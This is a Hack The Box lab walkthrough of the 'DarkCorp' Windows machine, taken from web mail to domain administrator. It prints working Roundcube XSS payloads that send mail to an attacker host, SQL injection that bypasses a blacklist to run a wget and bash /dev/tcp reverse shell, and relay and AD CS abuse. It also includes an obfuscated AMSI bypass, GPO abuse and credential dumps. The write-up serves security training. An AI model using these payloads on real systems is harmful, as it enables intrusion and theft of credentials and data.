Hack The Box / WINDOWS / 2025-02-15
Hack The Box — DarkCorp (Windows)
Roundcube XSS and dashboard SQL injection expose internal secrets, PostgreSQL command execution provides container foothold and AD pivoting, relay and AD CS abuse compromise WEB-01, and GPO abuse from delegated admin rights leads to domain administrator access.
Target
- IP:
10.129.218.157
Recon
sudo nmap -sC -sV 10.129.218.157 -p- -T5 -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
|_ 256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
80/tcp open http nginx 1.22.1
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Go to http://10.129.218.157/.
It redirects to http://drip.htb/.
Add drip.htb to /etc/hosts, browse it, register, click sign in.
We are redirected to http://mail.drip.htb/.
Add mail.drip.htb to /etc/hosts, then log in.
We see this email:
Hi test12,
Welcome to DripMail! We’re excited to provide you convenient email solutions!. If you need help, please reach out to us at support@drip.htb.
From the info button, this is Roundcube Webmail 1.6.7.
Useful reference:
https://www.sonarsource.com/blog/government-emails-at-risk-critical-cross-site-scripting-vulnerability-in-roundcube-webmail/
Roundcube XSS via Contact Form
Go to http://drip.htb/index.
There is a support contact form.
Intercept request and send to Repeater.
POST /contact parameters:
name=test&email=test12%40drip.htb&message=test&content=text&recipient=support%40drip.htb
Set recipient to our own mailbox (test12@drip.htb) and send.
In webmail we receive the message with footer:
Confidentiality Notice: This electronic communication may contain confidential or privileged information. Any unauthorized review, use, disclosure, copying, distribution, or taking of any part of this email is strictly prohibited.
If you suspect that you've received a "phishing" e-mail, please forward the entire email to our security engineer at bcase@drip.htb
Start local HTTP server:
python3 -m http.server 8000
Set content=html, set recipient=test12@drip.htb, and use this message payload:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=document.body.appendChild(Object.assign(document.createElement('script'),{src:'http://10.10.16.8:8000/?c=' document.cookie})) foo=bar">
Foo
</body>
Send request.
Clicking mail triggers request to our server, but no cookies are obtained (likely HttpOnly).
Set recipient=bcase@drip.htb and resend.
After waiting, we receive an HTTP request from victim host.
XSS works.
Try this JavaScript:
fetch('http://mail.drip.htb/?_task=mail&_mbox=INBOX&_uid=2&_action=show',{method:'GET'})
.then((response) => {
return response.text();
})
.then((data) => {
fetch('http://10.10.16.8:5555/',{method:'POST',mode:'no-cors',body:data});
})
.catch((error) => {
fetch('http://10.10.16.8:5555/',{method:'POST',mode:'no-cors',body:error});
});
Base64-encoded:
ZZmV0Y2goJ2h0dHA6Ly9tYWlsLmRyaXAuaHRiLz9fdGFzaz1tYWlsJl9tYm94PUlOQk9YJl91aWQ9MiZfYWN0aW9uPXNob3cnLHttZXRob2Q6J0dFVCd9KQoudGhlbigocmVzcG9uc2UpID0+IHsKcmV0dXJuIHJlc3BvbnNlLnRleHQoKTsKfSkKLnRoZW4oKGRhdGEpID0+IHsKICAgIGZldGNoKCdodHRwOi8vMTAuMTAuMTYuODo1NTU1Lycse21ldGhvZDonUE9TVCcsbW9kZTonbm8tY29ycycsYm9keTpkYXRhfSk7Cn0pCi5jYXRjaCgoZXJyb3IpID0+IHsKICAgIGZldGNoKCdodHRwOi8vMTAuMTAuMTYuODo1NTU1Lycse21ldGhvZDonUE9TVCcsbW9kZTonbm8tY29ycycsYm9keTplcnJvcn0pOwp9KTs=
Payload becomes:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=document.body.appendChild(Object.assign(document.createElement('script'),{type:'text/javascript',text:'eval(atob(`ZmV0Y2goJ2h0dHA6Ly9tYWlsLmRyaXAuaHRiLz9fdGFzaz1tYWlsJl9tYm94PUlOQk9YJl91aWQ9MiZfYWN0aW9uPXNob3cnLHttZXRob2Q6J0dFVCd9KQoudGhlbigocmVzcG9uc2UpID0+IHsKcmV0dXJuIHJlc3BvbnNlLnRleHQoKTsKfSkKLnRoZW4oKGRhdGEpID0+IHsKICAgIGZldGNoKCdodHRwOi8vMTAuMTAuMTYuODo1NTU1Lycse21ldGhvZDonUE9TVCcsbW9kZTonbm8tY29ycycsYm9keTpkYXRhfSk7Cn0pCi5jYXRjaCgoZXJyb3IpID0+IHsKICAgIGZldGNoKCdodHRwOi8vMTAuMTAuMTYuODo1NTU1Lycse21ldGhvZDonUE9TVCcsbW9kZTonbm8tY29ycycsYm9keTplcnJvcn0pOwp9KTs=`))'})) foo=bar">
Foo
</body>
Listen:
nc -vlnp 5555
Send request and wait.
We receive an email from ebelford@drip.htb to bcase:
Hey Bryce,<br>
<br>
The Analytics dashboard is now live. While it's still in development and limited in functionality, it should provide a good starting point for gathering metadata on the users currently using our service.<br>
<br>
You can access the dashboard at dev-a3f1-01.drip.htb. Please note that you'll need to reset your password before logging in.<br>
<br>
If you encounter any issues or have feedback, let me know so I can address them promptly.<br>
<br>
Thanks<br>
Add vhost to hosts:
dev-a3f1-01.drip.htb
Go to http://dev-a3f1-01.drip.htb/.
Our own credentials do not work. There is password reset.
Reset for bcase@drip.htb.
Idea: use XSS to read bcase's mail and steal reset link.
See scripts:
xss_exp.pytest.js
Submit reset request and run:
python3 xss_exp.py
We get email contents:
Sender: no-reply@drip.htb
Receiver: bcase@drip.htb
Subject: Reset token
Message:
Your reset token has generated. Please reset your password within the next 5 minutes.
You may reset your password here: http://dev-a3f1-01.drip.htb/reset/ImJjYXNlQGRyaXAuaHRiIg.Z6tvVQ.tl-TdW_j0n_MviwQI9yKF7AeUbE
Open link, reset password, login as bcase.
SQL Injection in Analytics
Analytics table example:
ID Username E-Mail Host Header IP Address
5001 support support@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
5002 bcase bcase@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
5003 ebelford ebelford@drip.htb Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0 10.0.50.10
5004 test12 test12@drip.htb Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 172.16.20.1
Search field with a triggers error:
(psycopg2.errors.UndefinedColumn) column "a" does not exist LINE 1: SELECT * FROM "Users" WHERE "Users".username = a ^ [SQL: SELECT * FROM "Users" WHERE "Users".username = a] (Background on this error at: https://sqlalche.me/e/20/f405)
Searching password avoids error.
Intercept POST /analytics with parameter query.
Use:
query=password%20or%201%3d1%20--%20
which is:
query=password or 1=1 --
Returns full table.
sqlmap was attempted:
query=password
sqlmap -r request.txt -p query
but had difficulties.
Use manual stacked payloads:
password; select version()
Output:
PostgreSQL 15.10 (Debian 15.10-0+deb12u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
password; select user
Output:
dripmail_dba
password; select current_database()
Output:
dripmail
Enumerate tables/columns and dump creds:
password; SELECT table_name FROM information_schema.tables
Users, Admins
password; SELECT column_name FROM information_schema.columns WHERE table_name='Users'
id,username,password,email,host_header,ip_address
password; SELECT column_name FROM information_schema.columns WHERE table_name='Admins'
id,username,password,email
password; SELECT username,password from "Users"
support:d9b9ecbf29db8054b21f303072b37c4e
bcase:1eace53df87b9a15a37fdc11da2d298d
ebelford:0cebd84e066fd988e89083879e88c5f9
test12:60474c9c10d7142b7508ce7a50acf414
password; SELECT username,password from "Admins"
bcase:60474c9c10d7142b7508ce7a50acf414
MD5 hashes do not crack with:
hashcat -a 0 -m 0 ./hash ./rockyou.txt --username
Dump pg_shadow:
password; SELECT usename, passwd FROM pg_shadow
roundcubeuser:SCRAM-SHA-256$4096:9D5PGoskyxemztNkX7RUwQ==$HS6GAUs0nz0rHTFnLqEGSjuGo2vLB/FAmXPfUYELMN8=:mQputE3vtO7+wiww1AJwhAX92MwLQjC2N9BWMGzxVUQ=
postgres:SCRAM-SHA-256$4096:tg9Rp4xk/QNzkzC+IdZvoA==$j04FPORWE0c4n1/6aU054RiS/7ZSXd9l2GpIh5Yrr/A=:wKIyNMoA10grsDD/+9vEI5466Op8TQadVW92GYy0jLU=
dripmail_dba:SCRAM-SHA-256$4096:S+uJXI58M/NKitBj8qAZBQ==$HfLVH/6blPPeOuJ7wL03D3YdNGZnt7Ry064w7aJMzRQ=:QJppcxaoDH6wSYi2GUiSjdzRHa3zTe5eWCEarYi9xKQ=
Attempt:
./hashcat-6.2.6/hashcat.bin -a 0 -m 28600 ./hash_1 ./rockyou.txt --username
No crack.
Read files and environment details:
password; select pg_ls_dir('./');
password; select pg_read_file('/etc/passwd');
password; select pg_ls_dir('/etc/nginx/sites-available/');
default
password; select pg_read_file('/etc/nginx/sites-available/default');
password; select pg_ls_dir('/var/www/html');
index.html
dashboard
dripmail
password; select pg_ls_dir('/var/www/html/dashboard');
Read dashboard .env:
password; select pg_read_file('/var/www/html/dashboard/.env');
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432
SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
Read dripmail .env:
password; select pg_read_file('/var/www/html/dripmail/.env');
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
Read hosts:
password; select pg_read_file('/etc/hosts');
127.0.0.1 localhost drip.htb mail.drip.htb dev-a3f1-01.drip.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb
172.16.20.3 drip.darkcorp.htb
Try SQLite extraction from dripmail app:
password; select pg_ls_dir('/var/www/html/dripmail/apps');
password; select encode(pg_read_binary_file('/var/www/html/dripmail/apps/db.sqlite3')::bytea, 'base64')
password; select encode(pg_read_binary_file('/var/www/html/dripmail/apps/db.sqlite3')::bytea, 'hex')
Convert hex locally:
echo -n <hex> | xxd -r -p > db.sqlite3
sqlite3 db.sqlite3
Nothing useful there.
Read source files:
password; select pg_read_file('/var/www/html/dashboard/apps/home/routes.py');
password; select pg_read_file('/var/www/html/dripmail/apps/home/routes.py');
Dashboard has sanitization:
query = "''" if request.form['query'] == "" else sanitize(request.form['query'])
try:
user_metadata = session.execute(text(f'SELECT * FROM "Users" WHERE "Users".username = {query}')).fetchall()
return render_template('home/analytics.html', user_metadata=user_metadata)
[...]
def sanitize(query):
blacklist = ["create", "insert", "update", "delete", "drop", "copy", "into", "alter", "truncate", "union"]
pattern = re.compile(r'\b(?:' + '|'.join(blacklist) + r')\b', re.IGNORECASE)
query = pattern.sub('', query)
return query
Bypassing this directly was not achieved.
Routing code:
@blueprint.route('/<template>')
def route_template(template):
try:
if not template.endswith('.html'):
template += '.html'
# Detect the current page
segment = get_segment(request)
# Serve the file (if exists) from app/templates/home/FILE.html
return render_template("home/" + template, segment=segment)
except TemplateNotFound:
return render_template('home/page-404.html'), 404
except:
return redirect('/page-500')
Templates path:
password; select pg_ls_dir('/var/www/html/dashboard/apps/templates/home');
page-404.html
index.html
analytics.html
dashboard.html
page-500.html
page-403.html
lo_export arbitrary-write attempts failed due permissions:
SELECT lo_from_bytea(43210, 'your file data goes in here');
password; SELECT lo_export(43210, '/tmp/testexport');
password; SELECT lo_from_bytea(43211, '{{ cycler.__init__.__globals__.os.popen("id").read() }}');
password; SELECT lo_export(43211, '/var/www/html/dashboard/apps/templates/test.html');
PostgreSQL RCE via Blacklist Bypass
Check nginx confs:
password; select pg_ls_dir('/etc/nginx/conf.d/');
dripmail.conf
roundcube.conf
dashboard.conf
password; select pg_read_file('/etc/nginx/conf.d/roundcube.conf');
listen 80;
server_name mail.drip.htb;
root /var/www/roundcube;
index index.php index.html;
Goal payload:
COPY (SELECT '') to PROGRAM 'wget http://10.10.16.8:8000/'
COPY is blacklisted, so encode/decode bypass is used.
Start listener:
python3 -m http.server 8000
Base64 of the COPY statement:
Q09QWSAoU0VMRUNUICcnKSB0byBQUk9HUkFNICd3Z2V0IGh0dHA6Ly8xMC4xMC4xNi44OjgwMDAvJw==
Construct query:
DO $$
BEGIN
EXECUTE encode(decode('Q09QWSAoU0VMRUNUICcnKSB0byBQUk9HUkFNICd3Z2V0IGh0dHA6Ly8xMC4xMC4xNi44OjgwMDAvJw==', 'base64'), 'escape');
END
$$;
One-line form:
DO $$ BEGIN EXECUTE encode(decode('Q09QWSAoU0VMRUNUICcnKSB0byBQUk9HUkFNICd3Z2V0IGh0dHA6Ly8xMC4xMC4xNi44OjgwMDAvJw==', 'base64'), 'escape'); END $$;
Submit prefixed with password;:
password; DO $$ BEGIN EXECUTE encode(decode('Q09QWSAoU0VMRUNUICcnKSB0byBQUk9HUkFNICd3Z2V0IGh0dHA6Ly8xMC4xMC4xNi44OjgwMDAvJw==', 'base64'), 'escape'); END $$;
We receive request on our server.
Reverse shell payload command:
COPY (SELECT '') to PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.16.8/4444 0>&1"'
Encoded request used:
password; DO $$ BEGIN EXECUTE encode(decode('Q09QWSAoU0VMRUNUICcnKSB0byBQUk9HUkFNICdiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjgvNDQ0NCAwPiYxIic=', 'base64'), 'escape'); END $$;
Listen:
nc -vlnp 4444
We get reverse shell as postgres.
Generate SSH key:
ssh-keygen -f postgresql_key
Add public key to /var/lib/postgresql/.ssh/authorized_keys and connect:
ssh postgres@mail.drip.htb -i postgresql_key
We are in a Docker container.
Pivoting to Internal Network
Check listening ports:
ss -ltpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 2048 127.0.0.1:8001 0.0.0.0:*
LISTEN 0 2048 127.0.0.1:8000 0.0.0.0:*
LISTEN 1 244 127.0.0.1:5432 0.0.0.0:* users:(("postgres",pid=576,fd=5))
LISTEN 0 100 127.0.0.1:993 0.0.0.0:*
LISTEN 0 100 127.0.0.1:587 0.0.0.0:*
LISTEN 0 100 127.0.0.1:25 0.0.0.0:*
LISTEN 0 5 127.0.0.1:52985 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 100 127.0.0.1:143 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 10 127.0.0.1:39101 0.0.0.0:*
LISTEN 0 511 [::]:80 [::]:*
LISTEN 0 128 [::]:22 [::]:*
Example forward command:
ssh postgres@mail.drip.htb -i postgresql_key -NL localhost:5000:172.16.20.3:80
Actually not needed because container IP is 172.16.20.3.
Find password update in logs:
cd /var/log/postgresql
grep -nriE 'ebelford'
postgresql-15-main.log.1:65:2025-02-03 11:05:04.886 MST [5952] postgres@dripmail STATEMENT: UPDATE Users SET password = 8bbd7f88841b4223ae63c8848969be86 WHERE username = ebelford;
Crack MD5:
./hashcat-6.2.6/hashcat.bin -a 0 -m 0 ./hash ./rockyou.txt
8bbd7f88841b4223ae63c8848969be86:ThePlague61780
SSH as ebelford:
ssh ebelford@mail.drip.htb
Use ligolo-ng for pivoting:
https://github.com/nicocha30/ligolo-ng
Attacker:
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert
Victim:
./agent -connect 10.10.16.8:11601 -ignore-cert
In ligolo:
ligolo-ng » session
(select session 1)
ligolo-ng » start
Add route:
sudo ip route add 172.16.20.0/24 dev ligolo
Add to /etc/hosts:
172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb
AD Enumeration (DC-01 and WEB-01)
Scan DC:
sudo nmap -sC -sV DC-01.darkcorp.htb -p- -T5 -v
(Ports include LDAP/LDAPS/Kerberos/SMB/ADCS endpoints.)
Pinging 172.16.20.2 responds, so scan that host too:
sudo nmap -sC -sV 172.16.20.2 -p- -T5 -v
On postgres container shell:
cd /var/backups/postgres
ls
dev-dripmail.old.sql.gpg
gpg --use-agent --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > dev-dripmail.old.sql
Passphrase: 2Qa2SsBkQvsc.
In dump we see:
COPY public."Admins" (id, username, password, email) FROM stdin;
1 bcase dc5484871bc95c4eab58032884be7225 bcase@drip.htb
2 victor.r cac1c7b0e7008d67b6db40c03e76b9c0 victor.r@drip.htb
3 ebelford 8bbd7f88841b4223ae63c8848969be86 ebelford@drip.htb
Crack victor hash:
./hashcat-6.2.6/hashcat.bin -a 0 -m 0 ./hash ./rockyou.txt
cac1c7b0e7008d67b6db40c03e76b9c0:victor1gustavo@#
Validate on DC:
nxc smb darkcorp.htb -u users.txt -p passwords.txt
SMB 172.16.20.1 445 NONE [+] \victor.r:victor1gustavo@#
nxc smb darkcorp.htb -u 'victor.r' -p 'victor1gustavo@#' --shares
SMB 172.16.20.1 445 DC-01 [*] Enumerated shares
...
SMB 172.16.20.1 445 DC-01 CertEnroll READ Active Directory Certificate Services share
Browse CertEnroll share:
smbclient -U 'victor.r' //darkcorp.htb/CertEnroll
ls
DARKCORP-DC-01-CA+.crl A 990 Wed Feb 12 19:49:57 2025
DARKCORP-DC-01-CA.crl A 1184 Wed Feb 12 19:49:57 2025
DC-01.darkcorp.htb_DARKCORP-DC-01-CA(1).crt A 1436 Wed Jan 22 13:18:28 2025
DC-01.darkcorp.htb_DARKCORP-DC-01-CA.crt A 1397 Mon Dec 30 00:34:10 2024
nsrev_DARKCORP-DC-01-CA.asp A 328 Mon Dec 30 00:38:06 2024
Validate on WEB-01:
nxc smb 172.16.20.2 -u users.txt -p passwords.txt
SMB 172.16.20.2 445 WEB-01 [+] darkcorp.htb\victor.r:victor1gustavo@#
nxc smb 172.16.20.2 -u 'victor.r' -p 'victor1gustavo@#' --shares
SMB 172.16.20.2 445 WEB-01 [*] Enumerated shares
...
SMB 172.16.20.2 445 WEB-01 IPC$ READ Remote IPC
Add host entry:
172.16.20.2 WEB-01.darkcorp.htb
LDAP/BloodHound:
ldapdomaindump darkcorp.htb -u 'darkcorp.htb\victor.r' -p 'victor1gustavo@#'
tail -n +2 domain_users.grep | cut -f 3 > users.txt
For BloodHound we use dnschef:
sudo dnschef --fakedomains darkcorp.htb --fakeip 172.16.20.1 --nameservers 172.16.20.1
bloodhound-python -u 'victor.r' -p 'victor1gustavo@#' -ns 172.16.20.1 -d 'darkcorp.htb' -dc 'DC-01.darkcorp.htb' -c All --use-ldaps --zip -v
Scan service on WEB-01:5000:
sudo nmap -sC -sV 172.16.20.2 -sC -sV -p5000
PORT STATE SERVICE VERSION
5000/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
| Negotiate
|_ NTLM
| http-ntlm-info:
| Target_Name: darkcorp
| NetBIOS_Domain_Name: darkcorp
| NetBIOS_Computer_Name: WEB-01
| DNS_Domain_Name: darkcorp.htb
| DNS_Computer_Name: WEB-01.darkcorp.htb
| DNS_Tree_Name: darkcorp.htb
|_ Product_Version: 10.0.20348
|_http-title: 401 - Unauthorized: Access is denied due to invalid credentials.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Browse http://web-01.darkcorp.htb:5000/ and authenticate with victor.r:victor1gustavo@#.
In Burp, set platform authentication with NTLMv1 credentials/domain.
Alternative: use requests-ntlm (pip install requests-ntlm) and trigger_check.py.
NTLM Relay -> ADCS -> WEB-01 Machine Account
Prepare listeners:
nc -vlnp 7777
Ligolo listener:
listener_add --addr 0.0.0.0:7777 --to 10.10.16.3:7777 --tcp
Send /check request with modified JSON:
{"protocol":"http","host":"drip.darkcorp.htb","port":"7777"}
Netcat receives:
GET / HTTP/1.1
Host: drip.darkcorp.htb:7777
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Start ntlmrelayx:
ntlmrelayx.py -t ldaps://DC-01.darkcorp.htb --delegate-access -i -smb2support
Another ligolo listener:
listener_add --addr 0.0.0.0:8888 --to 10.10.16.3:80 --tcp
Trigger with:
{"protocol":"http","host":"drip.darkcorp.htb","port":"8888"}
(or run python3 trigger_check.py).
ntlmrelayx output:
[*] Started interactive Ldap shell via TCP on 127.0.0.1:11000 as DARKCORP/SVC_ACC
Connect:
nc 127.0.0.1 11000
whoami
u:darkcorp\svc_acc
Many commands fail due low privileges.
BloodHound shows svc_acc in dnsadmins.
Use relay to add DNS record.
References:
https://www.synacktiv.com/en/publications/relaying-kerberos-over-smb-using-krbrelayxhttps://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/
Add DNS record via relay:
ntlmrelayx.py -t ldaps://DC-01.darkcorp.htb -smb2support --no-dump --add-dns-record 'DC-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.16.28
python3 trigger_check.py
In the terminal with ntlmrelayx we see:
[*] Added `A` record `DC-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA`. DON'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)
Verify:
nslookup DC-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.darkcorp.htb 172.16.20.1
Use krbrelayx + printerbug chain.
Download:
https://github.com/dirkjanm/krbrelayx
Query SPN:
python3 krbrelayx/addspn.py -u 'darkcorp.htb\victor.r' -p 'victor1gustavo@#' -t 'WEB-01$' -s http/dc-01.darkcorp.htb -q dc-01.darkcorp.htb
DN: CN=WEB-01,CN=Computers,DC=darkcorp,DC=htb - STATUS: Read - READ TIME: 2025-02-14T14:09:46.399026
dNSHostName: WEB-01.darkcorp.htb
sAMAccountName: WEB-01$
servicePrincipalName: TERMSRV/WEB-01
TERMSRV/WEB-01.darkcorp.htb
WSMAN/WEB-01
WSMAN/WEB-01.darkcorp.htb
RestrictedKrbHost/WEB-01
HOST/WEB-01
RestrictedKrbHost/WEB-01.darkcorp.htb
HOST/WEB-01.darkcorp.htb
Run ADCS relay:
python3 krbrelayx/krbrelayx.py --target 'https://DC-01.darkcorp.htb/certsrv/' --victim 'WEB-01.darkcorp.htb' --adcs --template Machine
Trigger printerbug:
python3 krbrelayx/printerbug.py 'darkcorp.htb'/'victor.r':'victor1gustavo@#'@'WEB-01.darkcorp.htb' 'DC-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' -dc-ip 172.16.20.1
Relay output:
[*] GOT CERTIFICATE! ID 5
[*] Writing PKCS#12 certificate to ./WEB-01.darkcorp.htb.pfx
[*] Certificate successfully written to file
Authenticate with certipy:
certipy auth -pfx 'WEB-01.darkcorp.htb.pfx' -domain 'darkcorp.htb' -dc-ip 172.16.20.1
[*] Using principal: web-01$@darkcorp.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'web-01.ccache'
[*] Trying to retrieve NT hash for 'web-01$'
[*] Got hash for 'web-01$@darkcorp.htb': aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675
Validate hash:
nxc smb 172.16.20.2 -u 'WEB-01$' -H '8f33c7fc7ff515c1f358e488fbb8b675'
SMB 172.16.20.2 445 WEB-01 [+] darkcorp.htb\WEB-01$:8f33c7fc7ff515c1f358e488fbb8b675
Alternative PKINITtools chain:
python3 PKINITtools/gettgtpkinit.py -cert-pfx 'WEB-01.darkcorp.htb.pfx' -dc-ip 172.16.
20.1 'darkcorp.htb/WEB-01$' web_01.ccache
2025-02-14 23:14:54,141 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-02-14 23:14:54,966 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-02-14 23:14:55,167 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-02-14 23:14:55,168 minikerberos INFO 2e0d939509719f9adeccf9f01d3bcdd84fdc70fd195f0be2cd62196bda4dbe29
INFO:minikerberos:2e0d939509719f9adeccf9f01d3bcdd84fdc70fd195f0be2cd62196bda4dbe29
2025-02-14 23:14:55,190 minikerberos INFO Saved TGT to file
export KRB5CCNAME=web_01.ccache
python3 PKINITtools/getnthash.py 'darkcorp.htb/WEB-01$' -key 2e0d939509719f9adeccf9f01d3bcdd84fdc70fd195f0be2cd62196bda4dbe29
Recovered NT Hash
8f33c7fc7ff515c1f358e488fbb8b675
It is the same hash as certipy output.
S4U ticket and dump WEB-01:
python3 PKINITtools/gets4uticket.py kerberos+ccache://darkcorp.htb\\WEB-01\$:web_01.ccache@DC-01.darkcorp.htb cifs/WEB-01.darkcorp.htb@darkcorp.htb Administrator@darkcorp.htb administrator_web_01.ccache -v
2025-02-14 23:22:41,508 minikerberos INFO Trying to get SPN with Administrator@darkcorp.htb for cifs/WEB-01.darkcorp.htb@darkcorp.htb
INFO:minikerberos:Trying to get SPN with Administrator@darkcorp.htb for cifs/WEB-01.darkcorp.htb@darkcorp.htb
2025-02-14 23:22:41,686 minikerberos INFO Success!
INFO:minikerberos:Success!
2025-02-14 23:22:41,687 minikerberos INFO Done!
INFO:minikerberos:Done!
export KRB5CCNAME=administrator_web_01.ccache
secretsdump.py -k WEB-01.darkcorp.htb
Administrator:500:aad3b435b51404eeaad3b435b51404ee:88d84ec08dad123eb04a060a74053f21:::
DARKCORP.HTB/svc_acc:$DCC2$10240#svc_acc#3a5485946a63220d3c4b118b36361dbb:
darkcorp\WEB-01$:plain_password_hex:4100520044006c002600710072005a00640022007400230061003d004f00520063005e006b006e004f005d00270034004b0041003a003900390074006200320031006a0040005a004f004f005c004b003b00760075006600210063004f0075002f003c0072005d0043004c004a005800250075006c002d00440064005f006b00380038002c00270049002c0046004000680027003b004500200021003b0042004d005f0064003b0066002300700068005500440069002f0054002300320022005f004c0056004c003c0049006f002600480076002c005d00610034005500470077004a0076005f003400740054004800
darkcorp\WEB-01$:aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675:::
WinRM to WEB-01:
evil-winrm -i 172.16.20.2 -u 'Administrator' -H '88d84ec08dad123eb04a060a74053f21'
User flag is on desktop.
Domain Admin via GPO Abuse
Quick search for taylor.b.adm creds:
Get-ChildItem -Path . -Recurse | Select-String -Pattern 'taylor.b.adm'
Found with kerbrute (unintended path):
./kerbrute bruteuser -d darkcorp.htb --dc 172.16.20.1 /usr/share/wordlists/rockyou.txt taylor.b.adm -t 50
2025/02/15 00:59:38 > [+] VALID LOGIN: taylor.b.adm@darkcorp.htb:!QAZzaq1
Note from original path (intended idea):
- After rooting WEB-01, abuse
userPrincipalNameto login into Linux as admin - SSSD misconfigured credential cache
- Retrieve cached credentials and crack
taylor.b.admpassword
Connect to DC as taylor.b.adm:
evil-winrm -i 172.16.20.1 -u 'taylor.b.adm' -p '!QAZzaq1'
whoami /all shows membership including:
darkcorp\linux_adminsdarkcorp\gpo_manager
Validate SMB:
nxc smb 172.16.20.1 -u 'taylor.b.adm' -p '!QAZzaq1'
SMB 172.16.20.1 445 DC-01 [+] darkcorp.htb\taylor.b.adm:!QAZzaq1
Upload PowerView.ps1:
https://github.com/PowerShellMafia/PowerSploit/raw/master/Recon/PowerView.ps1
Loading is blocked by Defender.
Use AMSI bypass:
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)
. .\PowerView.ps1
Now it works.
Enumerate GPO:
Get-DomainGPO -Domain darkcorp.htb
Alternative enumeration via GPOwned:
https://github.com/X-C3LL/GPOwned.git
python3 GPOwned/GPOwned.py -u taylor.b.adm -p '!QAZzaq1' -d darkcorp.htb -dc-ip 172.16.20.1 -gpcmachine -listgpo
Also:
Get-GPO -All
Interesting GPO:
SecurityUpdates({652CAE9A-4BB7-49F2-9E52-3361F33CE786})
Attempt to read Defender exclusion paths with event logs failed due privileges.
Reference used:
https://blog.fndsec.net/2024/10/04/uncovering-exclusion-paths-in-microsoft-defender-a-security-research-insight/
Use PowerGPOAbuse:
https://github.com/rootSySdk/PowerGPOAbuse
. .\PowerGPOAbuse.ps1
# Adding a localadmin
Add-LocalAdmin -Identity 'taylor.b.adm' -GPOIdentity 'SecurityUpdates'
gpupdate /force
Re-login:
evil-winrm -i 172.16.20.1 -u 'taylor.b.adm' -p '!QAZzaq1'
Now whoami /all shows Administrators membership.
Dump secrets on DC:
secretsdump.py 'darkcorp.htb'/'taylor.b.adm':'!QAZzaq1'@'DC-01.darkcorp.htb'
Relevant output includes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f:::
...
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7c032c3e2657f4554bc7af108bd5ef17:::
...
WEB-01$:20601:aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675:::
Final WinRM as domain Administrator:
